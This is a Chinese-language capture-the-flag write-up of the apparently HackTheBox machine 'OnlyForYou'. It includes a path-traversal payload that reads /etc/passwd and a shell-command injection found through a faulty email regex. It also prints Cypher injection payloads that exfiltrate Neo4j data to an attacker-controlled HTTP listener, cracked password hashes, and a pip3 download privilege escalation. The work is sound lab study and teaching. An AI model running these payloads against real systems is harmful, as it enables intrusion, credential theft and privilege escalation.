OverView
五一假期玩的真开心,还是写一下题解吧,重新复习一下。别的不说,这个名字起的挺好的。only4u
心得:拿到源码最好还是动态的搭建测试一下,不要光静态审计,有时候你就是很难发现问题所在。
Enumeration
Nmap
sudo nmap -sCV -T4 -p- 10.10.11.209 -o target
结果如下:
# Nmap 7.93 scan initiated Sun Apr 23 18:56:02 2023 as: nmap -sCVS -T5 -Pn -p- -v -oN target 10.10.11.210
Nmap scan report for 10.10.11.210
Host is up (0.23s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_ 256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 23 18:58:52 2023 -- 1 IP address (1 host up) scanned in 170.01 seconds
Subdomain-Gather
用 wfuzz 很快找到 beta.only4you.htb
└─# cat subdomain.txt
Target: http://only4you.htb/
Total requests: 8215
==================================================================
ID Response Lines Word Chars Request
==================================================================
00861: C=200 51 L 145 W 2190 Ch "beta - beta"
Total time: 0
Processed Requests: 8215
Filtered Requests: 8214
Requests/sec.: 0
由于主站并没有发现什么功能点,因此直接访问子域名的站点,发现一个下载源码的功能。那么就很爽快的下载了下来。
Code Audit
是 Flask 框架搭建的 Web 服务。功能点也不多,但是其中一个路由显得很蹊跷。 download 功能有点奇怪,别的路由函数功能都 filename
进行了 secure_filename
处理,唯独他
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename) # LIST_FOLDER=uploads/list
try:
if not os.path.isfiRle(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
有几个函数不太常见,查了一下文档
normpath
isabs
于是经过测试发现,如果我们传入的 filename 开头是 /
就可以绕过所谓的检测了,并且接着/../
就不会被 isabs
函数认定为是绝对路径
Arbitrary file download
既然如此,那么我们就可以构造出能够任意下载文件的 Payload,比如:
image=/../../../../../etc/passwd
这里注意到存在以下几个非 root 用户能够登录
john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
分别是 john
、neo4j
、dev
当我读取了 /etc/nginx/sites-enabled/default
,我可以知道绝对路径
server {
listen 80;
return 301 http://only4you.htb$request_uri;
}
server {
listen 80;
server_name only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
}
}
server {
listen 80;
server_name beta.only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
}
}
Main Site
Code Audit
既然子域名站点都是用 Python 了,那么主站也十有八九也是 Python。然后我尝试读取主站源码 image=/../../../../../var/www/only4you.htb/app.py
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
@app.errorhandler(404)
def page_not_found(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def server_errorerror(error):
return render_template('500.html'), 500
@app.errorhandler(400)
def bad_request(error):
return render_template('400.html'), 400
@app.errorhandler(405)
def method_not_allowed(error):
return render_template('405.html'), 405
if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)
发现 from form import send
, 接着读取 form.py
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1
def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = '[email protected]'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status
来回反复看了好几遍怎么也发现不了问题所在,到最后测试才发现是他的正则表达式和逻辑写错了。
Wrong regular expressions
首先是正则表达式,源码时这么匹配 email 的:
([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.([A-Z|a-z]){2,})
乍一看很正确,实际上它可以匹配
[email protected]|ls
正确的正则表达式写法:
([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.([A-Z]|[a-z]){2,})
但是这也不是主要的,代码逻辑上面也出现了问题
Faulty logic
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
也就是只要 email 的字符串中存在匹配正则表达式的一部分,就会返回真。也就是可以直接拼接。而且 subprocess.run 中的 shell 又设置为了 True,导致直接将字符串当作命令执行,可以执行多条 shell 语句。只有当设置为 False 只接受数组变量作为命令,并将数组的第一个元素作为命令,剩下的全部作为该命令的参数。也就是至多执行一条命令。
直接反弹 shell
一套行云流水
$ which python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ ^Z
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
Intranet Services
可以发现监听了 3000 端口和 8001 端口
端口转发出来发现。
3000 端口是一个 gogs 服务,但是不知道密码,也不知道版本号,没看见仓库内容。只能够知道有两个用户
8001 端口是内网 app
BurpSuite 发现回显包是一个 gunicorn/20.0.4
https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/
嗯,然后我就搞了好久好久的请求走私
GET /login HTTP/1.1
Host: 10.10.14.46:8001
Content-Length: 79
Sec-Websocket-Key1: x
xxxxxxxxGET /dashboard HTTP/1.1
Host: 10.10.14.46:8001
Content-Length: 51
GET /dashboard HTTP/1.1
Host: 10.10.14.46:8001
结果一点用的没有
然后别人是靠弱密码 admin:admin
进去的,真的服了
Neo4j Inject
发现存在一个搜索框功能还有 neo4j?
于是测试搜索框看是否有注入
https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.46:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
结果
获得标签:
' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.46:8000/?l='+label as l RETURN 0 as _0 //
然后开始查内容:
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.46:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
可以看到
有两组密码
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
两个用户
admin
john
FootHold
去 https://hashes.com/en/tools/hash_identifier 检测发现是 SHA256 加密方式
用 hashcat 很快破解出来两个密码
hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You
这个时候直接 ssh 上去好了
直接获得第一个 flag
Privilege escalation
pip3 download
直接 sudo -l 查看
谷歌搜索pip3 download exploit
参考
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
大概就是在 setup.py 处修改执行时候的代码,然后将其打包为 tar.gz 的时候,等别人 download 就会执行被修改的代码。
本地打包
python -m build
会在生成一个 dist 目录,在该目录下有我们需要的 tar.gz
稍微起一个 http 服务进行本地测试
直接复现成功。
回到靶机上。
在 gogs 上新建仓库然后上传压缩包
然后
sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/exp/raw/master/this_is_fine_wuzzi-0.0.3.tar.gz
注意 url 是 raw
然后就提权成功了,bash -p
即可获得最后的 flag